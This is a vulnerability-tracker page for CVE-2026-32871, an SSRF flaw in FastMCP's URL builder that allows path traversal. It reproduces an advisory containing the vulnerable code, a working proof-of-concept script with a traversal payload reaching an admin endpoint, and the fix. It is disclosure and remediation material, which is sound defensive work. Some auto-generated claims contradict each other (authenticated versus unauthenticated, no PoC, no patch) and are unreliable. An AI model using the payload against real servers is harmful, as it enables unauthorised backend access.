Skip to main content

Python CVE-2026-32871

CRITICAL
Server-Side Request Forgery (SSRF) (CWE-918)
2026-03-31 https://github.com/PrefectHQ/fastmcp GHSA-vv7q-7jx5-f767
10.0
CVSS 4.0 · Vendor: https://github.com/PrefectHQ/fastmcp
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft OpenAPI spec with malicious path parameters
  2. Delivery
    Submit request with ../ sequences
  3. Exploit
    URL-encode bypass via urljoin()
  4. Execution
    Access arbitrary backend endpoints
  5. Impact
    Retrieve sensitive data or modify resources

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

No special conditions — remote unauthenticated exploitation against FastMCP installations exposing OpenAPIProvider with path parameters in OpenAPI specifications. Attacker sends MCP requests with crafted path parameter values containing ../ sequences to bypass URL validation and access unintended backend API endpoints.

Impact

This vulnerability presents significant real-world risk despite lacking traditional CVSS scoring. The attack requires authentication to the MCP client interface (suggested by 'authenticated SSRF' classification), reducing opportunistic exploitation but enabling insider threats or compromised client scenarios. EPSS data is unavailable for this recent CVE-2026 identifier. No CISA KEV listing exists, indicating no confirmed active exploitation in federal enterprise environments. However, the GitHub advisory provides comprehensive proof-of-concept code demonstrating practical exploitation to access /admin endpoints, lowering the technical barrier significantly. The SSVC framework would rate this as: Exploitation=POC (proof-of-concept exists), Automatable=No (requires authenticated MCP client context), Technical Impact=Total (arbitrary backend access with credential inheritance enables data exfiltration, privilege escalation, and potential destructive operations). Priority should be HIGH for organizations deploying FastMCP in production, particularly those exposing internal APIs through OpenAPI specifications where backend systems contain administrative or sensitive endpoints not intended for MCP client access. The combination of authentication bypass, privilege escalation tags, and SSRF classification indicates this transcends typical injection vulnerabilities by enabling lateral movement within the backend service architecture.

Exploit ScenarioDerived

An attacker with valid MCP client credentials targets a FastMCP deployment exposing a backend API with path parameters, such as GET /api/v1/users/{user_id}/profile. The attacker crafts a malicious request substituting the user_id parameter with '../../../admin/delete-all?' to perform path traversal. The vulnerable _build_url() method substitutes this payload directly into the URL template without encoding, then urljoin() resolves the '../' sequences, constructing http://backend/admin/delete-all? instead of the intended user profile endpoint. The request is transmitted to the backend service with the MCP provider's authorization headers (e.g., 'Bearer admin_secret'), granting the attacker access to administrative functions not exposed in the OpenAPI specification. This enables unauthorized actions such as data deletion, credential extraction from internal endpoints, or access to sensitive customer information, all while operating within the legitimate authentication context of the MCP provider.

Act Now Prioritize within 24-48h. Why: CRITICAL severity.
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 31, 2026

Server-Side Request Forgery (SSRF) in FastMCP's OpenAPIProvider allows authenticated attackers to access arbitrary backend endpoints through path traversal injection in OpenAPI path parameters. The vulnerability arises from improper URL encoding in the RequestDirector._build_url() method, enabling attackers to escape intended API prefixes using '../' sequences and reach internal administrative or sensitive endpoints while inheriting the MCP provider's authentication context. This affects the fastmcp Python package and enables privilege escalation beyond the OpenAPI specification's intended API surface. No public exploit identified at time of analysis, though detailed proof-of-concept code exists in the GitHub advisory demonstrating traversal to /admin endpoints.

RemediationAI

Apply URL encoding to all path parameter values before substitution into URL templates by implementing urllib.parse.quote() with safe='' parameter in the RequestDirector._build_url() method. The GitHub advisory at https://github.com/PrefectHQ/fastmcp/security/advisories/GHSA-vv7q-7jx5-f767 provides the complete patched code implementation. Upgrade to the patched version of fastmcp immediately if available through PyPI (specific fixed version number not provided in available data, consult the GitHub advisory for release details). As an interim workaround, implement input validation to reject path parameter values containing '../', './', or URL-encoded equivalents (%2e%2e%2f, etc.), though this defense-in-depth measure is inferior to proper URL encoding. Review OpenAPI specifications to minimize use of path parameters for sensitive operations, preferring query parameters or request body data where feasible. Audit backend services for unintended exposure of administrative or internal endpoints, implementing additional authentication layers for high-privilege operations independent of the MCP provider's credentials. Monitor for anomalous URL patterns in backend access logs indicating traversal attempts.

Affected Packages

pypi fastmcp fix: 3.2.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

FastMCP is a Python framework for building Model Context Protocol (MCP) servers. The OpenAPIProvider component exposes backend APIs to MCP clients by parsing OpenAPI specifications. The vulnerability occurs in the RequestDirector class's _build_url() method (fastmcp/utilities/openapi/director.py), which performs direct string substitution of path parameters into URL templates without URL-encoding special characters. When urllib.parse.urljoin() subsequently resolves the constructed URL, it interprets '../' sequences as legitimate directory traversal operators. This is a classic instance of CWE-918 (Server-Side Request Forgery) compounded by improper input validation (CWE-20). The root cause is treating user-controlled path parameter values as trusted URL components rather than opaque data requiring encoding. The affected package is distributed via PyPI as 'fastmcp', and the CPE identifier pkg:pip/fastmcp indicates all versions prior to the patch are vulnerable.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/PrefectHQ/fastmcp) PRIMARY 10.0 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
Red Hat 8.5 HIGH

Primary rating from Vendor (https://github.com/PrefectHQ/fastmcp).

CVSS VectorVendor: https://github.com/PrefectHQ/fastmcp

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
High

Lifecycle Timeline

2
Patch released
Apr 01, 2026 - 02:30 nvd
Patch available
CVE Published
Mar 31, 2026 - 22:53 nvd
CRITICAL 10.0

DescriptionCVE.org

Technical Description

The OpenAPIProvider in FastMCP exposes internal APIs to MCP clients by parsing OpenAPI specifications. The RequestDirector class is responsible for constructing HTTP requests to the backend service.

A critical vulnerability exists in the _build_url() method. When an OpenAPI operation defines path parameters (e.g., /api/v1/users/{user_id}), the system directly substitutes parameter values into the URL template string without URL-encoding. Subsequently, urllib.parse.urljoin() resolves the final URL.

Since urljoin() interprets ../ sequences as directory traversal, an attacker controlling a path parameter can perform path traversal attacks to escape the intended API prefix and access arbitrary backend endpoints. This results in authenticated SSRF, as requests are sent with the authorization headers configured in the MCP provider.

---

Vulnerable Code

File: fastmcp/utilities/openapi/director.py

python
def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
# Direct string substitution without encoding
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
            url_path = url_path.replace(placeholder, str(param_value))
# urljoin resolves ../ escape sequences
    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Root Cause

  1. Path parameters are substituted directly without URL encoding
  2. urllib.parse.urljoin() interprets ../ as directory traversal
  3. No validation prevents traversal sequences in parameter values
  4. Requests inherit the authentication context of the MCP provider

---

Proof of Concept

Step 1: Backend API Setup

Create internal_api.py to simulate a vulnerable backend server:

python
from fastapi import FastAPI, Header, HTTPException
import uvicorn

app = FastAPI()

@app.get("/api/v1/users/{user_id}/profile")
def get_profile(user_id: str):
    return {"status": "success", "user": user_id}

@app.get("/admin/delete-all")
def admin_endpoint(authorization: str = Header(None)):
    if authorization == "Bearer admin_secret":
        return {"status": "CRITICAL", "message": "Administrative access granted"}
    raise HTTPException(status_code=401)

if __name__ == "__main__":
    uvicorn.run(app, host="127.0.0.1", port=8080)

Step 2: Exploitation Script

Create exploit_poc.py:

python
import asyncio
import httpx
from fastmcp.utilities.openapi.director import RequestDirector

async def exploit_ssrf():
# Initialize vulnerable component
    director = RequestDirector(spec={})
    base_url = "http://127.0.0.1:8080/"
    template = "/api/v1/users/{id}/profile"
# Payload: Path traversal to reach /admin/delete-all
# The '?' character neutralizes the rest of the original template
    payload = "../../../admin/delete-all?"
# Construct malicious URL
    malicious_url = director._build_url(template, {"id": payload}, base_url)
    print(f"[*] Generated URL: {malicious_url}")

    async with httpx.AsyncClient() as client:
# Request inherits MCP provider's authorization headers
        response = await client.get(
            malicious_url,
            headers={"Authorization": "Bearer admin_secret"}
        )
        print(f"[+] Status Code: {response.status_code}")
        print(f"[+] Response: {response.text}")

if __name__ == "__main__":
    asyncio.run(exploit_ssrf())

Expected Output

[*] Generated URL: http://127.0.0.1:8080/admin/delete-all?
[+] Status Code: 200
[+] Response: {"status": "CRITICAL", "message": "Administrative access granted"}

The attacker successfully accessed an endpoint not defined in the OpenAPI specification using the MCP provider's authentication credentials.

---

Impact Assessment

Severity Justification

  • Unauthorized Access: Attackers can interact with private endpoints not exposed in the OpenAPI specification
  • Privilege Escalation: The attacker operates within the MCP provider's security context and credentials
  • Authentication Bypass: The primary security control of OpenAPIProvider (restricting access to safe functions) is completely circumvented
  • Data Exfiltration: Sensitive internal APIs can be accessed and exploited
  • Lateral Movement: Internal-only services may be compromised from the network boundary

Attack Scenarios

  1. Accessing Admin Panels: Bypass API restrictions to reach administrative endpoints
  2. Data Theft: Access internal databases or sensitive information endpoints
  3. Service Disruption: Trigger destructive operations on backend services
  4. Credential Extraction: Access endpoints returning API keys, tokens, or credentials

---

Remediation

Recommended Fix

URL-encode all path parameter values before substitution to ensure reserved characters (/, ., ?, #) are treated as literal data, not path delimiters.

Updated code for _build_url() method:

python
import urllib.parse

def _build_url(
    self, path_template: str, path_params: dict[str, Any], base_url: str
) -> str:
    url_path = path_template
    for param_name, param_value in path_params.items():
        placeholder = f"{{{param_name}}}"
        if placeholder in url_path:
# Apply safe URL encoding to prevent traversal attacks
# safe="" ensures ALL special characters are encoded
            safe_value = urllib.parse.quote(str(param_value), safe="")
            url_path = url_path.replace(placeholder, safe_value)

    return urljoin(base_url.rstrip("/") + "/", url_path.lstrip("/"))

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 32 pypi packages depend on fastmcp (29 direct, 3 indirect)

Ecosystem-wide dependent count for version 3.2.0.

Executive ViewAI

Why It Matters

FastMCP's OpenAPIProvider contains a critical server-side request forgery vulnerability that allows authenticated users to bypass API restrictions and access internal administrative endpoints by injecting path traversal sequences. This enables privilege escalation beyond intended API boundaries, potentially exposing sensitive backend systems and data to any user with legitimate FastMCP access.

Business Impact: Severe
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Restrict FastMCP service network access via firewall rules to explicitly approved backend endpoints only, blocking internal admin paths; (2) implement API gateway rules to reject requests containing '../' sequences in URL paths; (3) enforce principle of least privilege-ensure FastMCP service accounts have minimal permissions on backend systems; (4) enable detailed logging and alerting on suspicious path traversal attempts to FastMCP services; (5) consider disabling OpenAPIProvider functionality until patch availability is confirmed.

Threat Intelligence Overview

EPSS Score
0.3%
Top 50% exploitable
Threat Intel
1
1 source
Data Quality
7 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
CRITICAL severity
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
Very High
Technical Impact
Total

Priority Score

50
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +50
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

Authentication bypass attacks exploit flaws in the verification mechanisms that control access to systems and applications.

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Affected Products (CPE)CVE.org

pkg:pip/fastmcp

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy